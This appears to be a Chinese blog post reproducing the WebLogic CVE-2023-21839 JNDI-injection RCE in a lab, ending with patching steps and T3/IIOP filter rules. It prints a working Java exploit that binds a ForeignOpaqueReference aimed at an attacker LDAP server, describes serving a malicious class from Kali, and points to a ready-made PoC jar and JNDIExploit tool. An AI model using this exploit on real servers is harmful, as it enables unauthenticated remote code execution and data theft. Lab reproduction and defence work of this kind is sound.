CVE-2023-21839 WebLogic Server RCE

CVE-2023-21839 WebLogic Server RCE

漏洞描述

Oracle 融合中间件(组件:核心) Oracle WebLogic Server 产品中的漏洞。受影响的受支持版本为 12.2.1.3.0、12.2.1.4.0 和 14.1.1.0.0。容易利用的漏洞允许未经身份验证的攻击者通过 T3、IIOP 进行网络访问来破坏 Oracle WebLogic Server。此漏洞的成功攻击可能导致对关键数据的未授权访问或对所有 Oracle WebLogic Server 可访问数据的完全访问。CVSS 3.1 基本分数 7.5(机密性影响)。CVSS 向量:(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)。

1、产品简介

Oracle WebLogic Server是一个统一的可扩展平台,用于在本地和云端开发、部署和运行企业应用程序,例如 Java。WebLogic Server提供了Java Enterprise Edition (EE)和Jakarta EE的可靠、成熟和可扩展的实现。

WebLogic是美商Oracle的主要产品之一,系购并得来。是商业市场上主要的Java应用服务器软件之一,是世界上第一个成功商业化的J2EE应用服务器,目前已推出到14c版。而此产品也延伸出WebLogic Portal, WebLogic Integration等企业用的中间件,以及OEPE开发工具。

2、漏洞概述

WebLogic存在远程代码执行漏洞,该漏洞允许未经身份验证的远程攻击者通过T3/IIOP协议网络访问并破坏易受攻击的WebLogic服务器,成功利用此漏洞可能导致Oracle WebLogic服务器被接管或敏感信息泄露。

Weblogic T3/IIOP反序列化命令执行漏洞

Weblogic t3/iiop协议支持远程绑定对象bind到服务端。并且可以通过lookup查看,代码:c.lookup(“xxxxxx”);。

当远程对象继承自OpaqueReference时,lookup查看远程对象时,服务端会调用远程对象getReferent方法。

weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference并且实现了getReferent方法,并且存在retVal = context.lookup(this.remoteJNDIName)实现,故可以通过rmi/ldap远程协议进行远程命令执行。

3、影响范围

Oracle WebLogic Server 12.2.1.3.0

Oracle WebLogic Server 12.2.1.4.0

Oracle WebLogic Server 14.1.1.0.0

4、复现环境

win10: 192.168.42.128

kali: 192.168.42.129

win10上搭建存在漏洞的WebLogic Server 12.2.1.3.0版本

环境搭建可以参考以下(很详细)

Oracle WebLogic12.2.1.3.0安装与配置(Windows)_风梧1994的博客-CSDN博客_weblogic 12.2.1.3.0

注意:JDNI注入由于其加载动态类原理是JNDI Reference远程加载Object Factory类的特性,在JDK 6u132, JDK 7u122, JDK 8u113版本中,系统属性com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。
在2018年10月,Java对LDAP Reference远程工厂类的加载增加了限制,在Oracle JDK 11.0.1、8u191、7u201、6u211之后,com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false。
因此,搭建此漏洞复现环境时jdk版本需要< jdk 8u191 。 (推荐jdk 8u112)

安装好环境验证一下本地是否可以访问

CVE-2023-21839 WebLogic Server RCE

5、漏洞复现

漏洞利用poc如下:

CVE-2023-21839 WebLogic Server RCE
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.lang.reflect.Field;
import java.util.Hashtable;
 
public class BindRce {
    static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";
    private static InitialContext getInitialContext(String url)throws NamingException
    {
        Hashtable<String,String> env = new Hashtable<String,String>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env.put(Context.PROVIDER_URL, url);
        return new InitialContext(env);
    }
    //iiop
    public static void main(String args[]) throws Exception {
       InitialContext c=getInitialContext("t3://127.0.0.1:7001");
        Hashtable<String,String> env = new Hashtable<String,String>();
 
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        weblogic.deployment.jms.ForeignOpaqueReference f=new weblogic.deployment.jms.ForeignOpaqueReference();
        Field jndiEnvironment=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
        jndiEnvironment.setAccessible(true);
        jndiEnvironment.set(f,env);
        Field remoteJNDIName=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
        remoteJNDIName.setAccessible(true);
        remoteJNDIName.set(f,"ldap://xxxxxxxx/xxx");
        c.bind("xxxx",f);
        c.lookup("xxx");    }
}

注意: weblogic10 及以后的版本,不能直接使用server/lib 目录下的 weblogic.jar 了,需要手动执行一个命令生成手动生成 wlfullclient.jar,用来替代老版本中的 weblogic.jar。
具体命令如下(Windows 系统,我的 weblogic 安装目录是 C:\Oracle)

切换到C:\Oracle\Middleware\Oracle_Home\wlserver\server\lib 下,执行

java -jar C:\Oracle\Middleware\Oracle_Home\wlserver\modules\com.bea.core.jarbuilder.jar
cd C:\Oracle\Middleware\Oracle_Home\wlserver\server\lib
java -jar C:\Oracle\Middleware\Oracle_Home\wlserver\modules\com.bea.core.jarbuilder.jar
 
#根据自己的路径去找包,生成wlfullclient.jar
CVE-2023-21839 WebLogic Server RCE

打开IEDA创建一个Java项目并本地导入生成的wlfullclient.jar

CVE-2023-21839 WebLogic Server RCE
CVE-2023-21839 WebLogic Server RCE

 创建利用poc类,类名可自定义,并把里面的url都换成自己环境的;

kali开放LDAP和WEB服务,

CVE-2023-21839 WebLogic Server RCE

执行poc,让目标加载恶意类造成RCE

CVE-2023-21839 WebLogic Server RCE

等了几秒没有反应,查看漏洞环境,发现被360拦截了,可以看到要去远程加载恶意类,点击允许

CVE-2023-21839 WebLogic Server RCE
CVE-2023-21839 WebLogic Server RCE
CVE-2023-21839 WebLogic Server RCE

复现成功

6、修复建议
厂商已发布了漏洞修复补丁,下载链接:https://support.oracle.com/rs?type=doc&id=2917213.2

Oracle WebLogic Server补丁安装方式

1.Oracle WebLogic Server 11g:

bsu.cmd -install -patch_download_dir=C:\Oracle\Middleware\utils\bsu\cache_dir -patchlist=3L3H -prod_dir=C:\Oracle\Middleware\wlserver_10.3
2.Oracle WebLogic Server 12c:

使用opatch apply 安装补丁

C:\Oracle\Middleware\Oracle_Home\OPatch>opatch apply 本机补丁地址
注:补丁编号请自行更改为新补丁编号。

禁用T3、IIOP协议具体操作步骤如下:

1.禁用T3:

进入WebLogic控制台,在base_domain的配置页面中,进入“安全”选项卡页面,点击“筛选器”,进入连接筛选器配置。

CVE-2023-21839 WebLogic Server RCE

 在连接筛选器中输入:WebLogic.security.net.ConnectionFilterImpl,参考以下写法,在连接筛选器规则中配置符合企业实际情况的规则:

127.0.0.1 * * allow t3 t3s
本机IP * * allow t3 t3s
允许访问的IP * * allow t3 t3s 
* * * deny t3 t3s
CVE-2023-21839 WebLogic Server RCE

连接筛选器规则格式如下:target localAddress localPort action protocols,其中:

target 指定一个或多个要筛选的服务器。

localAddress 可定义服务器的主机地址。(如果指定为一个星号 (*),则返回的匹配结果将是所有本地 IP 地址。)

localPort 定义服务器正在监听的端口。(如果指定了星号,则匹配返回的结果将是服务器上所有可用的端口)。

action 指定要执行的操作。(值必须为“allow”或“deny”。)

protocols 是要进行匹配的协议名列表。(必须指定下列其中一个协议:http、https、t3、t3s、giop、giops、dcom 或 ftp。) 如果未定义协议,则所有协议都将与一个规则匹配。

保存后若规则未生效,建议重新启动WebLogic服务(重启WebLogic服务会导致业务中断,建议相关人员评估风险后,再进行操作)。以Windows环境为例,重启服务的步骤如下:

进入域所在目录下的bin目录,在Windows系统中运行stopWebLogic.cmd文件终止WebLogic服务,Linux系统中则运行stopWebLogic.sh文件。

CVE-2023-21839 WebLogic Server RCE

待终止脚本执行完成后,再运行startWebLogic.cmd或startWebLogic.sh文件启动WebLogic,即可完成WebLogic服务重启。

2.禁用IIOP:

经过测试,weblogic 12.1.3.0.0、weblogic 12.2.1.3.0(12c)、weblogic14.x(14c) 版本禁用IIOP协议的详细步骤如下:

登录weblogic后台之后,点开“域分区”—环境—服务器—“AdminServer(管理)”

CVE-2023-21839 WebLogic Server RCE
CVE-2023-21839 WebLogic Server RCE

POC下载

Weblogic-CVE-2023-21839.jar

使用方法

java -jar 目标ip:端口 ldap地址

推荐工具:

https://github.com/WhiteHSBG/JNDIExploit

from

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注